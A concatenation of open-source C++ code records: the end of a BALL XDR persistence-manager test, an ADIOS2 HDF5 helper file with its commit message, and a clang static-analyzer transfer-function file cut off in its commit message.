throw())\n\tpm.put((Index)0);\n\tpm.put((Index)-1);\n\tpm.put((Index)0xAA55CC33);\n\tpm.put((Index)0xCC33AA55);\nRESULT\n\n\nCHECK(void put(const Size s) throw())\n\tpm.put((Size)0);\n\tpm.put((Size)0xAA55CC33);\n\tpm.put((Size)0xCC33AA55);\n\tpm.put((Size)0xFFFFFFFF);\nRESULT\n\n\nCHECK(void put(const bool b) throw())\n\tpm.put(true);\n\tpm.put(false);\nRESULT\n\n\nCHECK(void put(const Real f) throw())\n  pm.put((Real)0.0);\n\tpm.put((Real)1.234567);\n\tpm.put((Real)-9.87654e37);\nRESULT\n\n\nCHECK(void put(const DoubleReal d) throw())\n  pm.put((DoubleReal)0.0);\n\tpm.put((DoubleReal)1.234567);\n\tpm.put((DoubleReal)-9.87654e300);\nRESULT\n\n\nCHECK(void put(const string& s) throw())\n  pm.put(String(\"\"));\n\tpm.put(String(\"ABCDEFGHIJKLMNOPQRSTUVWxyz\"));\nRESULT\n\n\nPointerSizeUInt psi1 = 0x01234567;\npsi1 <<= 32;\npsi1 += 0xFEDCBA98;\nPointerSizeUInt psi2 = 0xFEDCBA98;\npsi2 <<= 32;\npsi2 += 0x01234567;\n\nCHECK(void put(const PointerSizeUInt p) throw())\n\tpm.put((PointerSizeUInt)0);\n\tpm.put(psi1);\n\tpm.put(psi2);\nRESULT\n\npm.writeStreamTrailer();\npm.finalizeOutputStream();\noutfile.close();\n\nstd::ifstream infile(filename.c_str());\npm.setIstream(infile);\npm.initializeInputStream();\npm.checkStreamHeader();\n\nCHECK(void get(char& c) throw())\n\tchar c;\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, 0)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, 85)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, -86)\n\tpm.get(c);\n\tTEST_EQUAL((Index)(signed char)c, -1)\nRESULT\n\n\nCHECK(void get(Byte& c) throw())\n\tByte c;\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 0)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 85)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 170)\n\tpm.get(c);\n\tTEST_EQUAL((Size)c, 255)\nRESULT\n\n\nCHECK(void get(Index& s) throw())\n\tIndex i;\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)-1)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0xAA55CC33)\n\tpm.get(i);\n\tTEST_EQUAL(i, (Index)0xCC33AA55)\nRESULT\n\n\nCHECK(void get(Size& s) throw())\n\tSize s;\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xAA55CC33)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xCC33AA55)\n\tpm.get(s);\n\tTEST_EQUAL(s, (Size)0xFFFFFFFF)\nRESULT\n\n\nCHECK(void get(bool& b) throw())\n  bool b;\n\tpm.get(b);\n\tTEST_EQUAL(b, true)\n\tpm.get(b);\n\tTEST_EQUAL(b, false)\nRESULT\n\n\nCHECK(void get(Real& f) throw())\n\tReal x;\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)0.0)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)1.234567)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (Real)-9.87654e37)\nRESULT\n\n\nCHECK(void get(DoubleReal& d) throw())\n\tDoubleReal x;\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)0.0)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)1.234567)\n\tpm.get(x);\n  TEST_REAL_EQUAL(x, (DoubleReal)-9.87654e300)\nRESULT\n\n\nCHECK(void get(string& s) throw())\n\tstring s;\n\tpm.get(s);\n\tTEST_EQUAL(s, \"\")\n\tpm.get(s);\n\tTEST_EQUAL(s, \"ABCDEFGHIJKLMNOPQRSTUVWxyz\")\nRESULT\n\n\nCHECK(void get(PointerSizeUInt& p) throw())\n\tPointerSizeUInt p;\n\tpm.get(p);\n\tTEST_EQUAL(p, 0)\n\tpm.get(p);\n\tTEST_EQUAL(p, psi1)\n\tpm.get(p);\n\tTEST_EQUAL(p, psi2)\nRESULT\n\npm.finalizeInputStream();\ninfile.close();\n\nCHECK(void finalizeInputStream() throw())\n  \/\/ ???\nRESULT\n\nCHECK(void finalizeOutputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK(void initializeInputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK(void initializeOutputStream() throw())\n\t\/\/ ???\nRESULT\n\nCHECK([Extra] full_test0)\n\tString filename;\n\tBond b1;\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out);\n\tXDRPersistenceManager pm(os);\n\tb1 >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tPersistentObject* po =  pm2.readObject();\n\tis.close();\n\tTEST_EQUAL(RTTI::isKindOf<Bond>(*po), true)\n\tdelete po;\nRESULT\n\t\n\nCHECK([Extra] full_test1)\n\tString filename;\n\n\tSystem s1;\n\tProtein p1;\n\tChain c1;\n\tSecondaryStructure ss1;\n\tResidue r1;\n\tPDBAtom a1;\n\tPDBAtom a2;\n\ts1.insert(p1);\n\tp1.insert(c1);\n\tc1.insert(ss1);\n\tss1.insert(r1);\n\tr1.insert(a1);\n\tr1.insert(a2);\n\tBond b1;\n\tTEST_NOT_EQUAL(b1.createBond(b1, a2, a1), 0)\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out | std::ios::binary);\n\tXDRPersistenceManager pm(os);\n\ts1 >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tPersistentObject* po =  pm2.readObject();\n\tSystem* s2 = (System*) po;\n\tis.close();\n\n\tTEST_EQUAL(s1.countAtoms(), s2->countAtoms())\n\tdelete s2;\nRESULT\n\t\nCHECK([Extra] full_test2)\n\tString filename;\n\tHINFile hin(\"data\/AlaGlySer.hin\");\n\tSystem s;\n\thin >> s;\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out | std::ios::binary);\n\tXDRPersistenceManager pm(os);\n\ts >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tSystem* s2 = (System*) pm2.readObject();\n\tis.close();\n\n\tTEST_EQUAL(s.countAtoms(), s2->countAtoms())\nRESULT\n\nCHECK([Extra] full_test3)\n\tString filename;\n\tPDBFile in(\"data\/bpti.pdb\");\n\tSystem s;\n\tin >> s;\n\n\tNEW_TMP_FILE(filename);\n\tofstream os(filename.c_str(), std::ios::out | std::ios::binary);\n\tXDRPersistenceManager pm(os);\n\ts >> pm;\n\tos.close();\n\n\tifstream is(filename.c_str(), std::ios::in);\n\tXDRPersistenceManager pm2(is);\n\tSystem* s2 = (System*) pm2.readObject();\n\tis.close();\n\n\tTEST_EQUAL(s.countAtoms(), s2->countAtoms())\n\tdelete s2;\nRESULT\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nEND_TEST\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Distributed under the OSI-approved Apache License, Version 2.0.  See\n * accompanying file Copyright.txt for details.\n *\n * HDF5Common.cpp\n *\n *  Created on: April 20, 2017\n *      Author: Junmin\n *\/\n\n#include \"HDF5Common.h\"\n\n#include <complex>\n#include <iostream>\n\n#include \"adios2\/ADIOSMPI.h\"\n\nnamespace adios\n{\n\n#define H5_ERROR std::cout << \"[ADIOS H5 ERROR] \"\n\nHDF5Common::HDF5Common()\n: m_WriteMode(false), m_CurrentTimeStep(0), m_NumTimeSteps(0)\n{\n    m_DefH5TypeComplexFloat =\n        H5Tcreate(H5T_COMPOUND, sizeof(std::complex<float>));\n    H5Tinsert(m_DefH5TypeComplexFloat, \"freal\", 0, H5T_NATIVE_FLOAT);\n    H5Tinsert(m_DefH5TypeComplexFloat, \"fimg\", H5Tget_size(H5T_NATIVE_FLOAT),\n              H5T_NATIVE_FLOAT);\n\n    m_DefH5TypeComplexDouble =\n        H5Tcreate(H5T_COMPOUND, sizeof(std::complex<double>));\n    H5Tinsert(m_DefH5TypeComplexDouble, \"dreal\", 0, H5T_NATIVE_DOUBLE);\n    H5Tinsert(m_DefH5TypeComplexDouble, \"dimg\", H5Tget_size(H5T_NATIVE_DOUBLE),\n              H5T_NATIVE_DOUBLE);\n\n    m_DefH5TypeComplexLongDouble =\n        H5Tcreate(H5T_COMPOUND, sizeof(std::complex<long double>));\n    H5Tinsert(m_DefH5TypeComplexLongDouble, \"ldouble real\", 0,\n              H5T_NATIVE_LDOUBLE);\n    H5Tinsert(m_DefH5TypeComplexLongDouble, \"ldouble img\",\n              H5Tget_size(H5T_NATIVE_LDOUBLE), H5T_NATIVE_LDOUBLE);\n}\n\nvoid HDF5Common::Init(const std::string name, MPI_Comm comm, bool toWrite)\n{\n    m_WriteMode = toWrite;\n\n    \/\/\n    m_PropertyListId = H5Pcreate(H5P_FILE_ACCESS);\n\n#ifdef ADIOS2_HAVE_MPI\n    H5Pset_fapl_mpio(m_PropertyListId, comm, MPI_INFO_NULL);\n#endif\n\n    std::string ts0 = \"\/TimeStep0\";\n\n    if (toWrite)\n    {\n        \/*\n         * Create a new file collectively and release property list identifier.\n         *\/\n        m_FileId = H5Fcreate(name.c_str(), H5F_ACC_TRUNC, H5P_DEFAULT,\n                             m_PropertyListId);\n        if (m_FileId >= 0)\n        {\n            m_GroupId = H5Gcreate2(m_FileId, ts0.c_str(), H5P_DEFAULT,\n                                   H5P_DEFAULT, H5P_DEFAULT);\n            if (m_GroupId < 0)\n            {\n                std::clog << \"H5Common::Init: ERROR\" << std::endl;\n                throw std::runtime_error(\"HDF5: Unable to create group \" + ts0);\n            }\n        }\n    }\n    else\n    {\n        \/\/ read a file collectively\n        m_FileId = H5Fopen(name.c_str(), H5F_ACC_RDONLY, H5P_DEFAULT);\n        if (m_FileId >= 0)\n        {\n            m_GroupId = H5Gopen(m_FileId, ts0.c_str(), H5P_DEFAULT);\n        }\n    }\n\n    H5Pclose(m_PropertyListId);\n}\n\nvoid HDF5Common::WriteTimeSteps()\n{\n    if (m_FileId < 0)\n    {\n        \/\/ std::cerr<<\"[ADIOS HDF5Error]: Invalid file to record timestep\n        \/\/ to.\"<<std::endl;\n        H5_ERROR << \"Invalid file to record timestep to.\" << std::endl;\n        return;\n    }\n\n    if (!m_WriteMode)\n    {\n        return;\n    }\n\n    hid_t s = H5Screate(H5S_SCALAR);\n\n    hid_t attr = H5Acreate(m_FileId, \"NumTimeSteps\", H5T_NATIVE_UINT, s,\n                           H5P_DEFAULT, H5P_DEFAULT);\n    uint totalTimeSteps = m_CurrentTimeStep + 1;\n\n    if (m_GroupId < 0)\n    {\n        totalTimeSteps = m_CurrentTimeStep;\n    }\n\n    H5Awrite(attr, H5T_NATIVE_UINT, &totalTimeSteps);\n\n    H5Sclose(s);\n    H5Aclose(attr);\n}\n\nunsigned int HDF5Common::GetNumTimeSteps()\n{\n    if (m_WriteMode)\n    {\n        return -1;\n    }\n\n    if (m_FileId < 0)\n    {\n        std::cerr\n            << \"[ADIOS HDF5Error]: Invalid file to read timestep attribute.\"\n            << std::endl;\n        return -1;\n    }\n\n    if (m_NumTimeSteps <= 0)\n    {\n        hid_t attr = H5Aopen(m_FileId, \"NumTimeSteps\", H5P_DEFAULT);\n\n        H5Aread(attr, H5T_NATIVE_UINT, &m_NumTimeSteps);\n        H5Aclose(attr);\n    }\n\n    return m_NumTimeSteps;\n}\n\nvoid HDF5Common::Close()\n{\n    if (m_FileId < 0)\n    {\n        return;\n    }\n\n    WriteTimeSteps();\n\n    if (m_GroupId >= 0)\n    {\n        H5Gclose(m_GroupId);\n    }\n\n    H5Fclose(m_FileId);\n    m_FileId = -1;\n    m_GroupId = -1;\n\n    H5Tclose(m_DefH5TypeComplexFloat);\n    H5Tclose(m_DefH5TypeComplexDouble);\n    H5Tclose(m_DefH5TypeComplexLongDouble);\n}\n\nvoid HDF5Common::Advance()\n{\n    if (m_GroupId >= 0)\n    {\n        H5Gclose(m_GroupId);\n        m_GroupId = -1;\n    }\n\n    if (m_WriteMode)\n    {\n        \/\/ m_GroupId = H5Gcreate2(m_FileId, tsname.c_str(), H5P_DEFAULT,\n        \/\/                       H5P_DEFAULT, H5P_DEFAULT);\n    }\n    else\n    {\n        if (m_NumTimeSteps == 0)\n        {\n            GetNumTimeSteps();\n        }\n        if (m_CurrentTimeStep + 1 >= m_NumTimeSteps)\n        {\n            return;\n        }\n\n        std::string timeStepName =\n            \"\/TimeStep\" + std::to_string(m_CurrentTimeStep + 1);\n        m_GroupId = H5Gopen(m_FileId, timeStepName.c_str(), H5P_DEFAULT);\n        if (m_GroupId < 0)\n        {\n            throw std::runtime_error(\"HDF5: Unable to open group \" +\n                                     timeStepName);\n        }\n    }\n    ++m_CurrentTimeStep;\n}\n\nvoid HDF5Common::CheckWriteGroup()\n{\n    if (!m_WriteMode)\n    {\n        return;\n    }\n    if (m_GroupId >= 0)\n    {\n        return;\n    }\n\n    std::string timeStepName = \"\/TimeStep\" + std::to_string(m_CurrentTimeStep);\n    m_GroupId = H5Gcreate2(m_FileId, timeStepName.c_str(), H5P_DEFAULT,\n                           H5P_DEFAULT, H5P_DEFAULT);\n    if (m_GroupId < 0)\n    {\n        throw std::runtime_error(\"HDF5: Unable to create group \" +\n                                 timeStepName);\n    }\n}\n}\n<commit_msg>HDF5Common.cpp moved to a new location and this one is no longer used<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ GRSimpleVals.cpp - Transfer functions for tracking simple values -*- C++ -*--\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines GRSimpleVals, a sub-class of GRTransferFuncs that\n\/\/  provides transfer functions for performing simple value tracking with\n\/\/  limited support for symbolics.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"GRSimpleVals.h\"\n#include \"BasicObjCFoundationChecks.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Analysis\/PathDiagnostic.h\"\n#include \"clang\/Analysis\/PathSensitive\/ValueState.h\"\n#include \"clang\/Analysis\/PathSensitive\/BugReporter.h\"\n#include \"llvm\/Support\/Compiler.h\"\n#include <sstream>\n\nusing namespace clang;\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Bug Descriptions.\n\/\/===----------------------------------------------------------------------===\/\/\n\nnamespace {\n  \nclass VISIBILITY_HIDDEN NullDeref : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"null dereference\";\n  }\n  virtual const char* getDescription() const {\n    return \"Dereference of null pointer.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefDeref : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad dereference\";\n  }\n  virtual const char* getDescription() const {\n    return \"Dereference of undefined value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefBranch : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"uninitialized value\";\n  }\n  virtual const char* getDescription() const {\n    return \"Branch condition evaluates to an uninitialized value.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN DivZero : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"divide-by-zero\";\n  }\n  virtual const char* getDescription() const {\n    return \"Division by zero\/undefined value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN UndefResult : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"undefined result\";\n  }\n  virtual const char* getDescription() const {\n    return \"Result of operation is undefined.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN BadCall : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"invalid function call\";\n  }\n  virtual const char* getDescription() const {\n    return \"Called function is a NULL or undefined function pointer value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN BadArg : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad argument\";\n  }\n  virtual const char* getDescription() const {\n    return \"Pass-by-value argument in function is undefined.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN BadMsgExprArg : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"bad argument\";\n  }\n  virtual const char* getDescription() const {\n    return \"Pass-by-value argument in message expression is undefined.\";\n  }\n};\n\nclass VISIBILITY_HIDDEN BadReceiver : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"invalid message expression\";\n  }\n  virtual const char* getDescription() const {\n    return \"Receiver in message expression is an uninitialized value.\";\n  }\n};\n  \nclass VISIBILITY_HIDDEN RetStack : public BugDescription {\npublic:\n  virtual const char* getName() const {\n    return \"return of stack address\";\n  }\n  virtual const char* getDescription() const {\n    return \"Address of stack-allocated variable returned.\";\n  }\n};\n  \n} \/\/ end anonymous namespace\n  \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Utility functions.\n\/\/===----------------------------------------------------------------------===\/\/\n  \ntemplate <typename ITERATOR> static inline\nExplodedNode<ValueState>* GetNode(ITERATOR I) {\n  return *I;\n}\n\ntemplate <> static inline\nExplodedNode<ValueState>* GetNode(GRExprEngine::undef_arg_iterator I) {\n  return I->first;\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Analysis Driver.\n\/\/===----------------------------------------------------------------------===\/\/\n\ntemplate <typename ITERATOR>\nstatic void EmitWarning(Diagnostic& Diag, PathDiagnosticClient* PD,\n                        ASTContext& Ctx, BugReporter& BR,\n                        const BugDescription& Desc,\n                        ExplodedGraph<GRExprEngine>& G,\n                        ITERATOR I, ITERATOR E) {\n  \n  for (; I != E; ++I)\n    BR.EmitPathWarning(Diag, PD, Ctx, Desc, G, GetNode(I));\n}\n\nnamespace clang {\n  \nunsigned RunGRSimpleVals(CFG& cfg, Decl& CD, ASTContext& Ctx,\n                         Diagnostic& Diag, PathDiagnosticClient* PD,\n                         bool Visualize, bool TrimGraph) {\n  \n  GRCoreEngine<GRExprEngine> Eng(cfg, CD, Ctx);\n  GRExprEngine* CS = &Eng.getCheckerState();\n  \n  \/\/ Set base transfer functions.\n  GRSimpleVals GRSV;\n  CS->setTransferFunctions(GRSV);\n  \n  \/\/ Add extra checkers.\n  llvm::OwningPtr<GRSimpleAPICheck> FoundationCheck(\n    CreateBasicObjCFoundationChecks(Ctx, &CS->getStateManager()));\n  \n  CS->AddObjCMessageExprCheck(FoundationCheck.get());\n  \n  \/\/ Execute the worklist algorithm.\n  Eng.ExecuteWorkList(120000);\n  \n  BugReporter BR;\n  ExplodedGraph<GRExprEngine>& G = Eng.getGraph();\n  \n  EmitWarning(Diag, PD, Ctx, BR, NullDeref(), G,\n              CS->null_derefs_begin(), CS->null_derefs_end());\n\n\n  EmitWarning(Diag, PD, Ctx, BR, UndefDeref(), G,\n              CS->undef_derefs_begin(), CS->undef_derefs_end());\n\n  EmitWarning(Diag, PD, Ctx, BR, UndefBranch(), G,\n              CS->undef_branches_begin(), CS->undef_branches_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, DivZero(), G,\n              CS->explicit_bad_divides_begin(), CS->explicit_bad_divides_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, UndefResult(), G,\n              CS->undef_results_begin(), CS->undef_results_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadCall(), G,\n              CS->bad_calls_begin(), CS->bad_calls_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadArg(), G,\n              CS->undef_arg_begin(), CS->undef_arg_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadMsgExprArg(), G,\n              CS->msg_expr_undef_arg_begin(), CS->msg_expr_undef_arg_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, BadReceiver(), G,\n              CS->undef_receivers_begin(), CS->undef_receivers_end());\n  \n  EmitWarning(Diag, PD, Ctx, BR, RetStack(), G,\n              CS->ret_stackaddr_begin(), CS->ret_stackaddr_end());\n\n  \n  FoundationCheck.get()->ReportResults(Diag, PD, Ctx, BR, G);\n#ifndef NDEBUG\n  if (Visualize) CS->ViewGraph(TrimGraph);\n#endif\n  \n  return Eng.getGraph().size();\n}\n  \n} \/\/ end clang namespace\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Transfer function for Casts.\n\/\/===----------------------------------------------------------------------===\/\/\n\nRVal GRSimpleVals::EvalCast(GRExprEngine& Eng, NonLVal X, QualType T) {\n  \n  if (!isa<nonlval::ConcreteInt>(X))\n    return UnknownVal();\n\n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  llvm::APSInt V = cast<nonlval::ConcreteInt>(X).getValue();\n  V.setIsUnsigned(T->isUnsignedIntegerType() || T->isPointerType() \n                  || T->isObjCQualifiedIdType());\n  V.extOrTrunc(Eng.getContext().getTypeSize(T));\n  \n  if (T->isPointerType())\n    return lval::ConcreteInt(BasicVals.getValue(V));\n  else\n    return nonlval::ConcreteInt(BasicVals.getValue(V));\n}\n\n\/\/ Casts.\n\nRVal GRSimpleVals::EvalCast(GRExprEngine& Eng, LVal X, QualType T) {\n  \n  if (T->isPointerLikeType() || T->isObjCQualifiedIdType())\n    return X;\n  \n  assert (T->isIntegerType());\n  \n  if (!isa<lval::ConcreteInt>(X))\n    return UnknownVal();\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  llvm::APSInt V = cast<lval::ConcreteInt>(X).getValue();\n  V.setIsUnsigned(T->isUnsignedIntegerType() || T->isPointerType());\n  V.extOrTrunc(Eng.getContext().getTypeSize(T));\n\n  return nonlval::ConcreteInt(BasicVals.getValue(V));\n}\n\n\/\/ Unary operators.\n\nRVal GRSimpleVals::EvalMinus(GRExprEngine& Eng, UnaryOperator* U, NonLVal X){\n  \n  switch (X.getSubKind()) {\n      \n    case nonlval::ConcreteIntKind:\n      return cast<nonlval::ConcreteInt>(X).EvalMinus(Eng.getBasicVals(), U);\n      \n    default:\n      return UnknownVal();\n  }\n}\n\nRVal GRSimpleVals::EvalComplement(GRExprEngine& Eng, NonLVal X) {\n\n  switch (X.getSubKind()) {\n      \n    case nonlval::ConcreteIntKind:\n      return cast<nonlval::ConcreteInt>(X).EvalComplement(Eng.getBasicVals());\n      \n    default:\n      return UnknownVal();\n  }\n}\n\n\/\/ Binary operators.\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             NonLVal L, NonLVal R)  {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  while (1) {\n    \n    switch (L.getSubKind()) {\n      default:\n        return UnknownVal();\n        \n      case nonlval::ConcreteIntKind:\n        \n        if (isa<nonlval::ConcreteInt>(R)) {          \n          const nonlval::ConcreteInt& L_CI = cast<nonlval::ConcreteInt>(L);\n          const nonlval::ConcreteInt& R_CI = cast<nonlval::ConcreteInt>(R);          \n          return L_CI.EvalBinOp(BasicVals, Op, R_CI);          \n        }\n        else {\n          NonLVal tmp = R;\n          R = L;\n          L = tmp;\n          continue;\n        }\n        \n      case nonlval::SymbolValKind: {\n        \n        if (isa<nonlval::ConcreteInt>(R)) {\n          const SymIntConstraint& C =\n            BasicVals.getConstraint(cast<nonlval::SymbolVal>(L).getSymbol(), Op,\n                                    cast<nonlval::ConcreteInt>(R).getValue());\n          \n          return nonlval::SymIntConstraintVal(C);\n        }\n        else\n          return UnknownVal();\n      }\n    }\n  }\n}\n\n\n\/\/ Binary Operators (except assignments and comma).\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             LVal L, LVal R) {\n  \n  switch (Op) {\n\n    default:\n      return UnknownVal();\n      \n    case BinaryOperator::EQ:\n      return EvalEQ(Eng, L, R);\n      \n    case BinaryOperator::NE:\n      return EvalNE(Eng, L, R);      \n  }\n}\n\n\/\/ Pointer arithmetic.\n\nRVal GRSimpleVals::EvalBinOp(GRExprEngine& Eng, BinaryOperator::Opcode Op,\n                             LVal L, NonLVal R) {  \n  return UnknownVal();\n}\n\n\/\/ Equality operators for LVals.\n\nRVal GRSimpleVals::EvalEQ(GRExprEngine& Eng, LVal L, LVal R) {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n  \n  switch (L.getSubKind()) {\n\n    default:\n      assert(false && \"EQ not implemented for this LVal.\");\n      return UnknownVal();\n      \n    case lval::ConcreteIntKind:\n\n      if (isa<lval::ConcreteInt>(R)) {\n        bool b = cast<lval::ConcreteInt>(L).getValue() ==\n                 cast<lval::ConcreteInt>(R).getValue();\n        \n        return NonLVal::MakeIntTruthVal(BasicVals, b);\n      }\n      else if (isa<lval::SymbolVal>(R)) {\n        \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(R).getSymbol(),\n                               BinaryOperator::EQ,\n                               cast<lval::ConcreteInt>(L).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      break;\n      \n    case lval::SymbolValKind: {\n\n      if (isa<lval::ConcreteInt>(R)) {          \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(L).getSymbol(),\n                               BinaryOperator::EQ,\n                               cast<lval::ConcreteInt>(R).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      \/\/ FIXME: Implement == for lval Symbols.  This is mainly useful\n      \/\/  in iterator loops when traversing a buffer, e.g. while(z != zTerm).\n      \/\/  Since this is not useful for many checkers we'll punt on this for \n      \/\/  now.\n       \n      return UnknownVal();      \n    }\n      \n    case lval::DeclValKind:\n    case lval::FuncValKind:\n    case lval::GotoLabelKind:\n      return NonLVal::MakeIntTruthVal(BasicVals, L == R);\n  }\n  \n  return NonLVal::MakeIntTruthVal(BasicVals, false);\n}\n\nRVal GRSimpleVals::EvalNE(GRExprEngine& Eng, LVal L, LVal R) {\n  \n  BasicValueFactory& BasicVals = Eng.getBasicVals();\n\n  switch (L.getSubKind()) {\n\n    default:\n      assert(false && \"NE not implemented for this LVal.\");\n      return UnknownVal();\n      \n    case lval::ConcreteIntKind:\n      \n      if (isa<lval::ConcreteInt>(R)) {\n        bool b = cast<lval::ConcreteInt>(L).getValue() !=\n                 cast<lval::ConcreteInt>(R).getValue();\n        \n        return NonLVal::MakeIntTruthVal(BasicVals, b);\n      }\n      else if (isa<lval::SymbolVal>(R)) {        \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(R).getSymbol(),\n                                  BinaryOperator::NE,\n                                  cast<lval::ConcreteInt>(L).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      break;\n      \n    case lval::SymbolValKind: {\n      if (isa<lval::ConcreteInt>(R)) {          \n        const SymIntConstraint& C =\n          BasicVals.getConstraint(cast<lval::SymbolVal>(L).getSymbol(),\n                                  BinaryOperator::NE,\n                                  cast<lval::ConcreteInt>(R).getValue());\n        \n        return nonlval::SymIntConstraintVal(C);\n      }\n      \n      \/\/ FIXME: Implement != for lval Symbols.  This is mainly useful\n      \/\/  in iterator loops when traversing a buffer, e.g. while(z != zTerm).\n      \/\/  Since this is not useful for many checkers we'll punt on this for \n      \/\/  now.\n      \n      return UnknownVal();\n      \n      break;\n    }\n      \n    case lval::DeclValKind:\n    case lval::FuncValKind:\n    case lval::GotoLabelKind:\n      return NonLVal::MakeIntTruthVal(BasicVals, L != R);\n  }\n  \n  return NonLVal::MakeIntTruthVal(BasicVals, true);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Transfer function for Function Calls.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid GRSimpleVals::EvalCall(ExplodedNodeSet<ValueState>& Dst,\n                            GRExprEngine& Eng,\n                            GRStmtNodeBuilder<ValueState>& Builder,\n                            CallExpr* CE, LVal L,\n                            ExplodedNode<ValueState>* Pred) {\n  \n  ValueStateManager& StateMgr = Eng.getStateManager();\n  ValueState* St = Builder.GetState(Pred);\n  \n  \/\/ Invalidate all arguments passed in by reference (LVals).\n\n  for (CallExpr::arg_iterator I = CE->arg_begin(), E = CE->arg_end();\n        I != E; ++I) {\n\n    RVal V = StateMgr.GetRVal(St, *I);\n    \n    if (isa<LVal>(V))\n      St = StateMgr.SetRVal(St, cast<LVal>(V), UnknownVal());\n  }\n  \n  \/\/ Make up a symbol for the return value of this function.\n  \n  if (CE->getType() != Eng.getContext().VoidTy) {    \n    unsigned Count = Builder.getCurrentBlockCount();\n    SymbolID Sym = Eng.getSymbolManager().getConjuredSymbol(CE, Count);\n        \n    RVal X = CE->getType()->isPointerType() \n             ? cast<RVal>(lval::SymbolVal(Sym)) \n             : cast<RVal>(nonlval::SymbolVal(Sym));\n    \n    St = StateMgr.SetRVal(St, CE, X, Eng.getCFG().isBlkExpr(CE), false);\n  }  \n    \n  Builder.MakeNode(Dst, CE, Pred, St);\n}\n<commit_msg>When reporting \"bad receiver\" warnings, highlight the 